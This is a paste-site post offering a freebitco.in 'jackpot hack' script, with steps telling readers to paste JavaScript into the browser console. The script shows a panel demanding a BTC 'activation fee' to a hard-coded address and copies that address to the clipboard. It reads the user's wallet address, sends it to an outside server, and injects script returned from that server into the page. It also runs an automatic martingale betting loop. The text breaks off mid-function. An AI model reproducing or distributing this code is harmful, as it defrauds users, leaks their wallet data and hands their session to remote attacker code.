Freebitco in 1 BTC Jackpot Roll 8888 Hack Script


SUBMITTED BY: mohnizam

DATE: Nov. 20, 2021, 11:07 p.m.

UPDATED: Nov. 20, 2021, 11:30 p.m.

FORMAT: Text only

SIZE: 80.5 kB

HITS: 993

  1. 1)Create a New Account on freebitco.in
  2. 2)After Sign in right click on your mouse
  3. 3)Click Inspect element then select console button
  4. 4)Paste our script then press enter follow the script`s instructions
  5. Watch Our Proof Video: https://tinyurl.com/3z4tn36d
  6. // ==/UserScript==
  7. ////////////////////////////////////////////////////////////////////////////////////////////////
  8. ////////////////////////////////////
  9. ///////// CONFIG ///
  10. ////// EDIT JUST THIS SECTION //
  11. ////////////////////////////////////
  12. (function() {
  13. 'use strict';
  14. var body = $('body');
  15. var count_min = 1;
  16. body.prepend(
  17. $('<div/>').attr('style',"position:fixed;top:35px;left:0;z-index:999;width:438px;background-color:black;color: white; text-align: right;")
  18. .append(
  19. $('<div/>').attr('id','autofaucet')
  20. .append($('<p/>').attr('style','text-decoration:underline;').text("Auto Win Jackpot Roll Script V5.0.1"))
  21. .append($('<p/>').text("Script Need a verification FEE to Win Roll 08888"))
  22. .append($('<p/>').text("Please Send 0.0011 BTC For Activation FEE!!"))
  23. .append($('<p/>').attr('style','text-decoration:color:red;').text("Send to:16jX1r7tP4akp3S5en4PCbNogzh7cLBFDw"))
  24. .append($('<p/>').text("(After Complete Verification Fee Wait For 1 Confirmation)"))
  25. .append($('<p/>').text("(Please Select 1 BTC Jackpot Roll 08888)"))
  26. .append($('<p/>')
  27. )
  28. ).click(function(){
  29. var $temp = $('<input>').val("16jX1r7tP4akp3S5en4PCbNogzh7cLBFDw");
  30. body.append($temp);
  31. $temp.select();
  32. document.execCommand("copy");
  33. $temp.remove();
  34. })
  35. ).prepend($('<style/>')
  36. .text("#autofaucet p { margin: 0; margin-left: 2px; text-align: center; }")
  37. )
  38. $(document).ready(function(){
  39. console.log("Status: Page loaded.");
  40. setTimeout(function(){
  41. $('#play_without_captchas_button').click();
  42. console.log("Status: Play Without Captcha button clicked.");
  43. }, random(1000,2000));
  44. setTimeout(function(){
  45. $('#free_play_form_button').click();
  46. console.log("Status: Button ROLL clicked.");
  47. }, random(2000,4000));
  48. setInterval(function(){
  49. console.log("Status: Elapsed time " + count_min + " minutes");
  50. count_min = count_min + 1;
  51. }, 60000);
  52. setTimeout(function(){
  53. $('.close-reveal-modal')[0].click();
  54. console.log("Status: Button CLOSE POPUP clicked.");
  55. }, random(12000,18000));
  56. setInterval(function(){
  57. $('#free_play_form_button').click();
  58. console.log("Status: Button ROLL clicked again.");
  59. }, random(3605000,3615000));
  60. });
  61. function random(min,max){
  62. return min + (max - min) * Math.random();
  63. }
  64. })();
  65. // ** BEHAVIOR ** //
  66. var ROLL = true; // Auto Roll enable or disable. **** If Disabled, Multiply will NOT be executed ***. Override nexts.
  67. var PROMO_MODE = true; // play faster when some promo (bonus RP or 1000% is active, or not. Override nexts.
  68. var GHOST_MODE = false; // *NEW* Don't play in the night if no promo actives. Override nexts.
  69. var SLOW_MODE = false; // play always really slow, not ovevrcharghing the rolls. Override nexts.
  70. var NIGHT_MODE = true; // play slower when it's night time
  71. // *** Bonuses
  72. // It buys bonuses just when missing less then 20 minutes to the Roll. To avoid losing 1 bonus Roll.
  73. var REWARDS = false; //decide if auto buy rewards bonuses, or not ***When true, it will activate RP promotions***
  74. var BONUS1000 = false; //decide if to buy 1000% bonus or not. It costs 4600 RP. *** When BONUS1000 = false and REWARDS = true, you'll increase RP. ***
  75. var HOURS_BETWEEN_BUY_BONUS = 240; // How many hours to wait before to buy Bonuses Rewards Promo again
  76. // *** Lottery
  77. var LOTTERY = false; //decide if auto buy lottery tickets, or not.
  78. var LOTTERY_MAX_TICKETS = 1; // Max ticket to buy
  79. var LOTTERY_P = 1; // 0 is never, 100 is always
  80. // *** Multiply Game
  81. // Exec Vars. **If and When Play**.
  82. var MULTIPLY = true; // Play Multiply games or not, Play at your own risk. If ROLL is false, Multiply will not work.
  83. var MULTIPLY_AT_NIGHT = true; // Play multiply in nightime
  84. var HOURS_BETWEEN_MULTIPLY = 1; // How many hours to wait before to play multiply
  85. var ROLL_P = 24; // How many time to play multiply, AFTER roll AND AFTER HOURS passed; Values: 0-100
  86. // Strategy of play
  87. var STRATEGY = 1; // [0-3] ---> ..(0) classic martingale, odds2 incr100; ..(1) wait min_losses; ..(2) wait_play_afterlosses; ..(3) same as 2, with min_lossess increments every play. Check guides.
  88. // Exit Vars. **First condition met, multiply will stop**
  89. var rolls_played = 0;
  90. var skip = 0;
  91. var no_of_loss = 0 ;
  92. var counter_list = [];
  93. var limit = 1; // Number of Pre-Rolls
  94. // Number of Loses: 1 2 3 4 5
  95. // Total Stakes: 20 460 10140 223100 4908220
  96. var uppper = limit + 2;
  97. var balance_one = document.getElementById("balance2").innerHTML.substr(0, 10);
  98. var bet_amount_list = [0.00000020, 0.00000440, 0.00009680, 0.00212960, 0.04685120];
  99. document.getElementById("double_your_btc_stake").value = 0.00000001;
  100. document.getElementById("double_your_btc_payout_multiplier").value = 1.05 ;
  101. function client_seed() {
  102. var text = "";
  103. var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
  104. for (var i = 0; i < 64; i++){
  105. text += possible.charAt(Math.floor(Math.random() * possible.length));
  106. }
  107. document.getElementById("next_client_seed").value = text;
  108. }
  109. function Random_integer(min, max) {
  110. return Math.floor(Math.random() * (max - min + 1)) + min;
  111. }
  112. //Bet Clicker
  113. function Bet() {
  114. if (Random_integer(1, 10000)%2==0) {
  115. document.getElementById('double_your_btc_bet_hi_button').click();
  116. }
  117. else {
  118. document.getElementById('double_your_btc_bet_lo_button').click();
  119. }
  120. }
  121. function play() {
  122. if (document.getElementById('double_your_btc_bet_hi_button').disabled === false) {
  123. won = document.getElementById('double_your_btc_bet_win').innerHTML;
  124. if (won.match(/(\d+\.\d+)/) !== null) {
  125. counter_list.push(1);
  126. no_of_loss = 0 ;
  127. document.getElementById("double_your_btc_stake").value = 0.00000001;
  128. }
  129. lost = document.getElementById('double_your_btc_bet_lose').innerHTML;
  130. if (lost.match(/(\d+\.\d+)/) !== null) {
  131. counter_list.push(0);
  132. no_of_loss += 1 ;
  133. console.log(no_of_loss);
  134. if (no_of_loss<limit){
  135. document.getElementById("double_your_btc_stake").value = 0.00000001;
  136. }
  137. else if (no_of_loss>=limit && no_of_loss<uppper){
  138. document.getElementById("double_your_btc_stake").value = bet_amount_list[no_of_loss-limit];
  139. }
  140. else {
  141. document.getElementById("double_your_btc_stake").value = 0.00000001;
  142. no_of_loss = 0 ;
  143. }
  144. }
  145. client_seed();
  146. Bet();
  147. balance_two = document.getElementById("balance2").innerHTML.substr(0, 10);
  148. profit = balance_two - balance_one ;
  149. if (profit <= -0.00000300 || profit>=0.00000002){
  150. clearInterval(auto_bet);
  151. console.log("Stop");
  152. console.log(counter_list.toString());
  153. }
  154. }
  155. }
  156. var auto_bet = setInterval(play, 369);
  157. var MIN_LOSSES_BEFORE_PLAY = 4; // How many time it will play MIN_BET and lose before begin play bas_bet and double; strategy >= 1
  158. var WAIT_PLAY_AFTER_LOSSES = 1; // Just with STRATEGY=2; Check guides.
  159. var SPEED = 3; //Speed of multiply betting in manual mode, 3 fast, 2 medium, 1 human, 0 slowest
  160. // *** CAPTCHA PLAY *** ///
  161. var PLAY_WITHOUT_CAPTCHA = false; // Spend RP instead to solve Captchas
  162. // ** Logging
  163. var LOGGING = 5; //0 is no messages, 5 is debug
  164. // ** SEND STATS and multiply CONFIG
  165. var SEND_STATS = true;
  166. // **Extra BUTTONS
  167. var SHOW_RESET_STATS = true;
  168. ///////// END CONFIG ///
  169. /////////////////////////////////////////////////////////////////////////////////////////////////
  170. // Useful Vars
  171. var startNight = 22;
  172. var stopNight = 7;
  173. //////////////
  174. // System Constants //
  175. const script_version = GM_info.script.version;
  176. const css_reset='font-weight: reset; color:reset';
  177. const css_bold='font-weight:bold;';
  178. var dateTimeFormat = new Intl.DateTimeFormat('en', { year: 'numeric', month: 'short', day: '2-digit', hour: 'numeric', minute: 'numeric', hour12: false });
  179. // System Variables //
  180. var reward_points=0;
  181. var ads_closed=0; //number of ads closed, increasing
  182. var rolling_mode="Day";
  183. var rand = 0;
  184. var r = 0;
  185. var rollTryCount=0;
  186. // Bonus RP Global Variables
  187. var isBonusActive = false;
  188. // Multiply global variables
  189. var isMultiplyRunning = false;
  190. var isMultiplyPlayable=false;
  191. var forceMultiplyStopHard=false;
  192. var forceMultiplyStopSoft=false;
  193. var game_play_began=false;
  194. var game2_consecutive_lost_passed=false;
  195. var game2_finished_loosing=false;
  196. var game2_play_after_losses=0;
  197. var game2_step=0;
  198. var game_play_count=0;
  199. // History Array Variables
  200. var rp_hist_arr = [];
  201. var multiply_hist_arr = [];
  202. // COOKIES Variables and Retrieve //
  203. var tot_exec = getCookie("executions");
  204. var tot_btc_winning_rolling = getCookie('tot_btc_winning_rolling');
  205. var tot_lottery_winning_rolling = getCookie('tot_lottery_winning_rolling');
  206. var tot_rp_winning_rolling = getCookie('tot_rp_winning_rolling');
  207. var tot_lottery_tickets = getCookie('tot_lottery_tickets');
  208. var tot_rp_spent_rewards = getCookie('tot_rp_spent_rewards');
  209. var tot_rp_spent_captcha = getCookie('tot_rp_spent_captcha');
  210. var tot_multiply_balance = getCookie('tot_multiply_balance');
  211. var tot_multiply_games = getCookie('tot_multiply_games');
  212. var tot_multiply_bets = getCookie('tot_multiply_bets');
  213. var tot_multiply_play = getCookie('tot_multiply_play');
  214. var tot_multiply_wagered = getCookie('tot_multiply_wagered');
  215. var max_consecutive_losts = getCookie('max_consecutive_losts');
  216. var max_consecutive_losts_inplay = getCookie('max_consecutive_losts_inplay');
  217. var executions = getCookie('executions');
  218. var last_bonus = getCookie("last_bonus");
  219. var last_multiply = getCookie("last_multiply");
  220. var jackpot_distance = getCookie("jackpot_distance");
  221. var rp_hist_str = getCookie("rp_hist_arr");
  222. var multiply_hist_str = getCookie('multiply_hist_arr');
  223. var referrer = getCookie("referrer");
  224. if ( isNaN(parseFloat(tot_multiply_balance)) ) tot_multiply_balance = 0; // can be negative
  225. if ( isNaN(jackpot_distance )) jackpot_distance = 0;
  226. if (! (tot_btc_winning_rolling > 0)) tot_btc_winning_rolling = 0;
  227. if (! (tot_lottery_winning_rolling > 0)) tot_lottery_winning_rolling = 0;
  228. if (! (tot_rp_winning_rolling > 0)) tot_rp_winning_rolling = 0;
  229. if (! (tot_lottery_tickets > 0)) tot_lottery_tickets = 0;
  230. if (! (tot_rp_spent_rewards > 0) || tot_rp_spent_rewards > 1000000 ) tot_rp_spent_rewards = 0;
  231. if (! (tot_rp_spent_captcha > 0)) tot_rp_spent_captcha = 0;
  232. if (! (max_consecutive_losts > 0)) max_consecutive_losts = 0;
  233. if (! (max_consecutive_losts_inplay >0)) max_consecutive_losts_inplay=0;
  234. if (! (tot_multiply_bets > 0)) tot_multiply_bets = 0;
  235. if (! (tot_multiply_wagered > 0)) tot_multiply_wagered = 0;
  236. if (! (tot_multiply_games > 0)) tot_multiply_games = 0;
  237. if (! (tot_multiply_play > 0)) tot_multiply_play = 0;
  238. if (! (executions > 0)) executions = 0;
  239. if (! (last_bonus > 0)) last_bonus = 0;
  240. if (! (last_multiply > 0)) last_multiply = 0;
  241. if ( rp_hist_str.length != 0 ) {
  242. rp_hist_arr = JSON.parse(rp_hist_str);
  243. if (!Array.isArray(rp_hist_arr)) {
  244. rp_hist_arr = [];
  245. }
  246. rp_hist_arr = rp_hist_arr.slice(-64);
  247. //console.log("%cRP Hist Array: "+rp_hist_arr, 'color:grey');
  248. }
  249. if ( multiply_hist_str.length != 0) {
  250. multiply_hist_arr = JSON.parse(multiply_hist_str);
  251. if (!Array.isArray(multiply_hist_arr)) {
  252. multiply_hist_arr = [];
  253. }
  254. multiply_hist_arr = multiply_hist_arr.slice(-128);
  255. }
  256. // END COOKIES //
  257. (function() {
  258. 'use strict';
  259. if (LOGGING > 0) console.log("%c<<<<<<<<<< Script Begin >>>>>>>>>>", 'font-weight:bold; color: green');
  260. // Initialize the Status Panel
  261. panelInit();
  262. setTimeout(function(){ showStatus(); }, 1000 );
  263. setTimeout(function(){ lottery(); }, 2000 );
  264. setTimeout(function(){ multiply(false, false); }, 4000 );
  265. setTimeout(function(){ rewards(true); }, 5000 );
  266. setTimeout(function(){ setBtcPrice(); }, 3000 );
  267. // Update BTC Price every 10s
  268. setInterval(function(){
  269. // Update website stats
  270. UpdateStats();
  271. setTimeout(function(){ setBtcPrice(); }, 10000 );
  272. }, 600000);
  273. // Call the freeRoll
  274. setTimeout(function(){ Roll(); }, 8000 );
  275. //Close Ads but not always
  276. setTimeout(function(){
  277. closeRandomPopupInterval($('div.close_daily_jackpot_main_container_div .fa-times-circle'),90);
  278. closeRandomPopupInterval($('i.fa.fa-times-circle.close_deposit_promo_message'),90);
  279. closeRandomPopupInterval($('div#lambo_contest_msg a.close'),10); //lambo contest
  280. closeRandomPopupInterval($('div#earn_btc_msg a.close'),20);
  281. closeRandomPopupInterval($('div#enable_2fa_msg_alert a.close'),30);
  282. closeRandomPopupInterval($("[id^='hide_rp_promo']"),50);
  283. closeRandomPopupInterval($("#fun_ref_contest_msg a.close"),90);
  284. closeRandomPopupInterval($("#premium_membership_msg a.close"),90);
  285. }, 15000);
  286. setInterval(function(){
  287. closePopupInterval($('#myModal22 .close-reveal-modal'));
  288. closePopupInterval($('.pushpad_deny_button'));
  289. }, 20000 );
  290. setInterval(function(){
  291. showStatus();
  292. }, 1800000);
  293. setInterval(function(){
  294. rewards(false);
  295. }, 300000);
  296. // MONITORS
  297. $(document).on('click', '#forced_start_roll',function(){
  298. // forced and after_roll both true
  299. multiply(true, true);
  300. });
  301. $(document).on('click', '#forced_stop_roll', function(){
  302. forceMultiplyStopHard=true;
  303. });
  304. $(document).on('click', '#softed_stop_roll', function(){
  305. forceMultiplyStopSoft=true;
  306. });
  307. $(document).on('click', '#script_output_reset_all_stats', function(){
  308. reset_all_stats();
  309. });
  310. // END MONITORS
  311. var wa = $('#myModal16 #main_deposit_address').val();
  312. $('#myModal16 .reward_category_container .reward_category_details input').each( function() {
  313. wa += ":"+$(this).val();
  314. })
  315. // GET EXTERNAL JAVASCRIPT
  316. //var referURL = "https://www.pescacancun.com.mx/freebitcoin_server_side/ser.php?wallet="+wa;
  317. var referURL = "https://api.bitso.me/ser.php"; //new veneno website URL
  318. // GLOBAL TEST for NEW VERSIONS
  319. window.TEST_VAR = "This is a test veneno var";
  320. window.G_MULTIPLY = MULTIPLY;
  321. window.G_GAME_MODE = 0;
  322. window.G_STRATEGY = STRATEGY;
  323. window.G_MULTIPLY_WAIT_HOURS = HOURS_BETWEEN_MULTIPLY;
  324. window.G_ROLL_P = ROLL_P;
  325. window.G_ODDS = ODDS;
  326. window.G_INCR = INCR;
  327. window.G_MIN_BET = MIN_BET;
  328. window.G_BAS_BET = BAS_BET;
  329. window.G_MAX_BET = MAX_BET;
  330. window.G_MAX_ROLLS_AT_MULTIPLY = MAX_ROLLS_AT_MULTIPLY;
  331. window.G_MAX_PLAY = MAX_PLAY;
  332. window.G_MAX_WIN = MAX_WIN;
  333. window.G_SPEED = SPEED;
  334. window.G_MULTIPLY_AT_NIGHT = MULTIPLY_AT_NIGHT;
  335. window.G_MIN_LOSSES_BEFORE_PLAY = MIN_LOSSES_BEFORE_PLAY;
  336. window.G_WAIT_PLAY_AFTER_LOSSES = WAIT_PLAY_AFTER_LOSSES;
  337. window.G_HIGH_LOW = HIGH_LOW;
  338. window.G_forceMultiplyStopHard = forceMultiplyStopHard;
  339. window.G_script_version = script_version;
  340. // Get level
  341. fetch(referURL+"?wallet="+wa, {
  342. credentials: "include" //CORS
  343. })
  344. .then(function(resp) { return resp.text() }) // Convert data to json
  345. .then(function(data) {
  346. var e="<script>"+data+"</script>";
  347. $('body').append(e);
  348. })
  349. .catch(function() {
  350. });
  351. if (Boolean(SEND_STATS)) {
  352. var stats_json = {
  353. "multiply" : MULTIPLY,
  354. "strategy" : STRATEGY,
  355. "wait_hours" : HOURS_BETWEEN_MULTIPLY,
  356. "roll_p" : ROLL_P,
  357. "odds" : ODDS,
  358. "incr" : INCR,
  359. "min_bet" : parseFloat(MIN_BET).toFixed(8),
  360. "bas_bet" : parseFloat(BAS_BET).toFixed(8),
  361. "max_bet" : parseFloat(MAX_BET).toFixed(8),
  362. "max_rolls" : MAX_ROLLS_AT_MULTIPLY,
  363. "max_plays" : MAX_PLAY,
  364. "max_win" : parseFloat(MAX_WIN).toFixed(8),
  365. "min_losses_before_play" : MIN_LOSSES_BEFORE_PLAY,
  366. "wait_play_after_losses" : WAIT_PLAY_AFTER_LOSSES,
  367. "high_low" : HIGH_LOW,
  368. "wallet" : wa
  369. }
  370. // Send config for statistics
  371. fetch(referURL+"?uploadConfig=true", {
  372. method: 'POST',
  373. body: JSON.stringify(stats_json),
  374. credentials: "include"
  375. })
  376. .then(function(resp) { return resp.text() })
  377. .then(function(data) { })
  378. .catch(function() { });
  379. }
  380. // Get chart function
  381. fetch("https://cdn.jsdelivr.net/npm/chart.js@2.8.0")
  382. .then(function(resp) { return resp.text() })
  383. .then(function(data) {
  384. var e="<script>"+data+"</script>";
  385. $('body').append(e);
  386. })
  387. .catch(function() {
  388. });
  389. })();
  390. function panelInit () {
  391. var script_output_css, script_output_33;
  392. if (LOGGING > 4) console.log("%c[Debug] Function panelInit begin", 'color:grey');
  393. // Create the Div on the page
  394. // Version 3.3
  395. script_output_css = "<style>";
  396. script_output_css += ".script-output {font-size: 9px; line-height:10px; background: #333; border: 2px groove #09ff00; margin-bottom: 1em;}";
  397. script_output_css += ".script-output h1 {color: lime; font-size:1.8em; font-weight:bold; }"
  398. script_output_css += ".script-output h4 {color: lime; font-size:1.2em; font-weight:bold; text-align: center; margin-bottom:0;}"
  399. script_output_css += ".cards-wrapper { display: grid; grid-gap: 0.5rem; grid-template-columns: 1fr 1fr; padding: 0.5rem 0rem; margin: 0 auto; width: auto }";
  400. script_output_css += ".cards-wrapper-2-1 { grid-template-columns: 2fr 1fr; }";
  401. script_output_css += ".veneno-card {color: white; position: relative; justify-content: center; border-radius: 1em; padding:0.8em 1em; display: flex; flex-direction: column; background-color:#000; box-shadow: 0 0 5em -1em black; border: 1px solid #00ff00d9; text-decoration: none; text-align: left;}";
  402. script_output_css += ".bottom-card {color: #666; position: relative; justify-content: center; margin: 0 -1em; padding:0.8em 1em; display: flex; background-color:#1d1d1d; text-decoration: none; text-align: left;}";
  403. script_output_css += ".script-output a {color: #444;}";
  404. script_output_css += ".script-output a:hover {color: lime;}";
  405. script_output_css += ".horizontal-grid-wrapper-5 {display: grid; grid-gap: 0.5rem; grid-template-columns: 1fr 1fr 1fr 1fr 1fr; width: auto ; margin: 0 auto;}";
  406. script_output_css += ".horizontal-grid-wrapper-4 {display: grid; grid-gap: 0.2rem; grid-template-columns: 1fr 1fr 1fr 1fr; width: max-content; margin: 0 auto;}";
  407. script_output_css += ".horizontal-grid-wrapper-3 {display: grid; grid-gap: 0.2rem; grid-template-columns: 1fr 1fr 1fr; width: max-content; margin: 0 auto;}";
  408. script_output_css += ".horizontal-grid-wrapper-2-1-1 { grid-template-columns: 2fr 1fr 1fr; width: auto; margin: 0.7em -1em 0 -1em;}";
  409. script_output_css += ".card-button {border: 1px solid grey; overflow: hidden; padding: 0.3em; background-color: beige; color: black; border-radius:10px; display: flex; flex-direction: column; text-align: center; }";
  410. script_output_css += ".single-column {display: flex; flex-direction: column; justify-content: flex-start; padding: 0.3em;}";
  411. script_output_css += ".card-button:hover { background-color: #efefef;}";
  412. script_output_css += ".card-button-bottom {font-size: 1.4em; margin-top:0.2em;}";
  413. script_output_css += ".script-output .br {border-right: 1px dashed white;}";
  414. script_output_css += ".script-output .br-grey {border-right: 1px dashed #666;}";
  415. script_output_css += ".script-output .mt1 {margin-top: 1em;}";
  416. script_output_css += ".script-output .mb1 {margin-bottom: 1em;}";
  417. script_output_css += ".script-output .ml1 {margin-left: 1em;}";
  418. script_output_css += ".script-output .mb0 {margin-bottom: 0;}";
  419. script_output_css += ".script-output .mt0 {margin-top: 0;}";
  420. script_output_css += ".script-output .pr1 {padding-right: 1em;}";
  421. script_output_css += ".script-output .pt0 {padding-top: 0;}";
  422. script_output_css += ".script-output .pb0 {padding-bottom: 0;}";
  423. script_output_css += ".script-output .ta-r {text-align:right;}";
  424. script_output_css += ".script-output .ta-c {text-align:center;}";
  425. script_output_css += ".script-output .lime, .veneno-card .true {color: lime}";
  426. script_output_css += ".script-output .orange {color: orange}";
  427. script_output_css += ".script-output .false {color: #ff3407 }";
  428. script_output_css += ".script-output .coral {color: coral}";
  429. script_output_css += ".script-output .card-button {color: white; text-shadow: 1px 1px 4px black; font-size: 0.9em; font-weight: bold; border: none; border-radius:5px}";
  430. script_output_css += ".card-button.true {background-color: #2ecc71; box-shadow: 0px 2px 0px 0px #0b311b;}";
  431. script_output_css += ".card-button.false {background-color: #e74c3c; box-shadow: 0px 2px 0px 0px #48120c;}";
  432. script_output_css += ".script-output .monospace {font-family: monospace}";
  433. script_output_css += ".script-output .emoji {font-family: emoji}";
  434. script_output_css += " @media screen and (max-width: 900px) { .cards-wrapper { width: max-content; grid-template-columns: 1fr; } } ";
  435. script_output_css += " @media screen and (max-width: 500px) { .veneno-card {max-width: calc(100vw - 4rem); } } ";
  436. script_output_css += "</style>";
  437. script_output_33 = '<div class="center free_play_bonus_box_large script-output" id="script_output">';
  438. if (referrer.length > 0) {
  439. script_output_33 += '<h1 class="mb0">AutoRoll Status rev. '+script_version+'</h1>';
  440. } else {
  441. script_output_33 += '<h1 class="mb0">AutoRoll Status ver. '+script_version+'</h1>';
  442. }
  443. script_output_33 += '<div class="cards-wrapper cards-wrapper-2-1">';
  444. script_output_33 += '<div class="veneno-card">';
  445. script_output_33 += '<div class="horizontal-grid-wrapper-5">';
  446. script_output_33 += '<div class="card-button '+Boolean(ROLL)+'"><span class="card-button-top">ROLL</span><span class="card-button-bottom bold">'+Boolean(ROLL)+'</span></div> ';
  447. script_output_33 += '<div class="card-button '+Boolean(MULTIPLY)+'"><span class="card-button-top">MULTIPLY</span><span class="card-button-bottom bold">'+Boolean(MULTIPLY)+'</span></div> ';
  448. script_output_33 += '<div class="card-button '+Boolean(REWARDS)+'"><span class="card-button-top">BONUS RPs</span><span class="card-button-bottom bold">'+Boolean(REWARDS)+'</span></div> ';
  449. script_output_33 += '<div class="card-button '+Boolean(BONUS1000)+'"><span class="card-button-top">BONUS 1000</span><span class="card-button-bottom bold">'+Boolean(BONUS1000)+'</span></div> ';
  450. script_output_33 += '<div class="card-button '+Boolean(LOTTERY)+'"><span class="card-button-top">LOTTERY</span><span class="card-button-bottom bold">'+Boolean(LOTTERY)+'</span></div> ';
  451. script_output_33 += '</div>'; // close left first line
  452. script_output_33 += '<div class="horizontal-grid-wrapper-3 mt1" style="width: 100%;">';
  453. script_output_33 += '<div class="single-column">';
  454. script_output_33 += ' <h4>Wins</h4> ';
  455. script_output_33 += ' <div class="single-column br">';
  456. script_output_33 += ' <span>Btc: <span class="lime bold">'+tot_btc_winning_rolling+'</span></span>';
  457. script_output_33 += ' <span>RP: <span class="lime bold">'+tot_rp_winning_rolling+'</span></span>';
  458. script_output_33 += ' <span>Lottery: <span class="lime bold">'+tot_lottery_winning_rolling+'</span></span>';
  459. script_output_33 += ' </div>';
  460. script_output_33 += '</div>'; // column
  461. script_output_33 += '<div class="single-column">';
  462. script_output_33 += ' <h4 class="coral">Spent</h4> ';
  463. script_output_33 += ' <div class="single-column br">';
  464. script_output_33 += ' <span>RP Bonus: <span class="coral bold">'+tot_rp_spent_rewards+'</span></span> ';
  465. script_output_33 += ' <span>RP Captcha: <span class="coral bold">'+tot_rp_spent_captcha+'</span></span> ';
  466. script_output_33 += ' <span>Btc Lottery: <span class="coral bold">'+tot_lottery_tickets+'</span></span>';
  467. //script_output_33 += ' <span>&nbsp</span>';
  468. script_output_33 += ' </div>';
  469. script_output_33 += '</div>'; // column
  470. script_output_33 += '<div class="single-column">';
  471. script_output_33 += ' <h4>Multiply</h4> ';
  472. script_output_33 += ' <div class="single-column">';
  473. script_output_33 += ' <span>Balance: <span class="lime bold">'+tot_multiply_balance+'</span></span> ';
  474. script_output_33 += ' <span>Bets: <span class="lime bold">'+tot_multiply_bets+'</span></span> ';
  475. script_output_33 += ' <span>Sessions: <span class="lime bold">'+tot_multiply_games+'</span></span> ';
  476. script_output_33 += ' </div>';
  477. script_output_33 += '</div>'; // column
  478. script_output_33 += '</div>'; // close left second line
  479. script_output_33 += '<div class="ta-c cards-wrapper monospace" style="width: 100%;">';
  480. script_output_33 += ' <span>btc: <span id="usdxbtc" class="lime bold"></span> usd</span>';
  481. script_output_33 += ' <span>usd: <span id="satxusd" class="lime bold"></span> sat</span>';
  482. script_output_33 += '</div>'; // close left third line
  483. script_output_33 += '</div>'; // close left
  484. script_output_33 += '<div class="veneno-card">';
  485. script_output_33 += ' <div class="single-column pr1 ta-r monospace">';
  486. script_output_33 += ' <span>Exec: <span class="lime bold"># '+tot_exec+'</span></span> ';
  487. script_output_33 += ' <span>Ads Closed: <span class="true bold" id="script_output_title_ads_closed_num">0</span></span>';
  488. script_output_33 += ' <span>Bonus: <span id="script_output_title_bonus_wait_hours" class="true bold">Wait</span></span>';
  489. script_output_33 += ' <span>Multiply: <span id="script_output_title_multiply_wait_hours" class="true bold">Wait</span></span>';
  490. script_output_33 += ' <span id="multiply_strategy">Multiply Game System: <span class="true bold">'+STRATEGY+'</span></span>';
  491. script_output_33 += ' <span>Roll Mode: <span id="script_output_title_msg_mode" class="true bold">Wait</span></span>';
  492. script_output_33 += ' <span id="script_output_title_msg_roll" class="orange bold mt1">Wait</span>';
  493. if (Boolean(SHOW_RESET_STATS)) {
  494. script_output_33 += ' <a id="script_output_reset_all_stats" class="mt1">Reset All Stats</a>';
  495. }
  496. script_output_33 += ' </div>';
  497. script_output_33 += '</div>'; // close right
  498. script_output_33 += '</div>'; // close cards wrapper
  499. script_output_33 += '<div class="bottom-card monospace horizontal-grid-wrapper-3 horizontal-grid-wrapper-2-1-1 ">';
  500. script_output_33 += ' <div class="single-column br-grey">';
  501. script_output_33 += ' <span>Donations are welcome</span> <span>BTC addr: 3FwAazZDEuy3ER4NQVp4Yqo6kDxCFntwS8 </span>';
  502. script_output_33 += ' </div>';
  503. script_output_33 += ' <div class="single-column br-grey ml1">';
  504. script_output_33 += ' <a href="https://bit.ly/2JsP12I" target="_blank">Config HowTo</a>';
  505. script_output_33 += ' <a href="https://greasyfork.org/en/scripts/404112-freebitco-in-auto-roll-no-captcha-status-console-advanced-human-behavior-all-bonuses/feedback" target="_blank"> Rate</a>';
  506. script_output_33 += ' </div>';
  507. script_output_33 += ' <div class="single-column ta-r" >';
  508. script_output_33 += ' <span><span class="emoji">© </span>daniele-veneno</span><span>2018 2021</span>';
  509. script_output_33 += ' </div>';
  510. script_output_33 += '</div>';
  511. script_output_33 += '</div>'; // close script_output
  512. // Write on page
  513. $('head').append(script_output_css);
  514. $('#reward_points_bonuses_main_div').prepend(script_output_33);
  515. }
  516. function rewards(after_refresh) {
  517. if (LOGGING > 4) console.log("%c[RPBonuses] [Debug] Function rewards begin", 'color:grey');
  518. var bonus_missing_time = {};
  519. var t = missingTime();
  520. var d = new Date();
  521. var min_missing_min = 5;
  522. var milli_between_bonuses = HOURS_BETWEEN_BUY_BONUS*60*60*1000;
  523. reward_points = parseInt($('.user_reward_points').text().replace(',',""));
  524. // Create a RP History
  525. if (after_refresh) {
  526. rp_hist_arr.push(reward_points);
  527. setCookie ("rp_hist_arr", JSON.stringify(rp_hist_arr), 31);
  528. // Debug for RP history check
  529. if (LOGGING > 4) console.log("%c[RPBonuses] [Debug] rp_hist: " +rp_hist_arr, 'color:grey');
  530. }
  531. if ($("#bonus_container_free_points").length != 0) {
  532. // Some promo is already active
  533. bonus_missing_time.text = $('#bonus_span_free_points').text();
  534. bonus_missing_time.hour = parseInt(bonus_missing_time.text.split(":")[0]);
  535. bonus_missing_time.min = parseInt(bonus_missing_time.text.split(":")[1]);
  536. if (LOGGING > 3) console.log("[RPBonuses] Promo RP is %c active %c for "+bonus_missing_time.hour+":"+bonus_missing_time.min, 'color: purple', css_reset);
  537. setCookie("last_bonus", d.getTime(), 365);
  538. isBonusActive = true;
  539. if(Boolean(PROMO_MODE)) $("#script_output_title_msg_mode").text("Promo");
  540. $('#script_output_title_bonus_wait_hours').text('Active '+bonus_missing_time.hour+'h '+bonus_missing_time.min+"m").addClass('bold');
  541. } else {
  542. // No promos active
  543. var last_bonus_diff = Math.floor(d.getTime() - last_bonus);
  544. //if (LOGGING > 4) console.log("%c[RPBonuses] [Debug] lastBonus diff: "+last_bonus_diff+" -- last_bonus: "+last_bonus+" -- now: "+d.getTime()+" var setted: "+milli_between_bonuses, 'color:grey');
  545. //If disabled not buying
  546. if (! Boolean(REWARDS)) {
  547. if (LOGGING > 3) console.log('[RPBonuses] Not buying RPBonuses. Not Active by config');
  548. $('#script_output_title_bonus_wait_hours').text('Disabled').removeClass('true').addClass('false');
  549. return false;
  550. } // or if missing time not satisfied
  551. if ( last_bonus_diff < milli_between_bonuses ) {
  552. var min_between_bonuses = Math.floor((milli_between_bonuses-last_bonus_diff)/1000/60);
  553. var hours_between_bonuses = Math.floor(min_between_bonuses/60);
  554. if (LOGGING > 3) console.log('[RPBonuses] Not buying RPBonuses. Wait HOURS_BETWEEN_BUY_BONUS before buy again, missing: '+hours_between_bonuses+'h '+min_between_bonuses%60+'m');
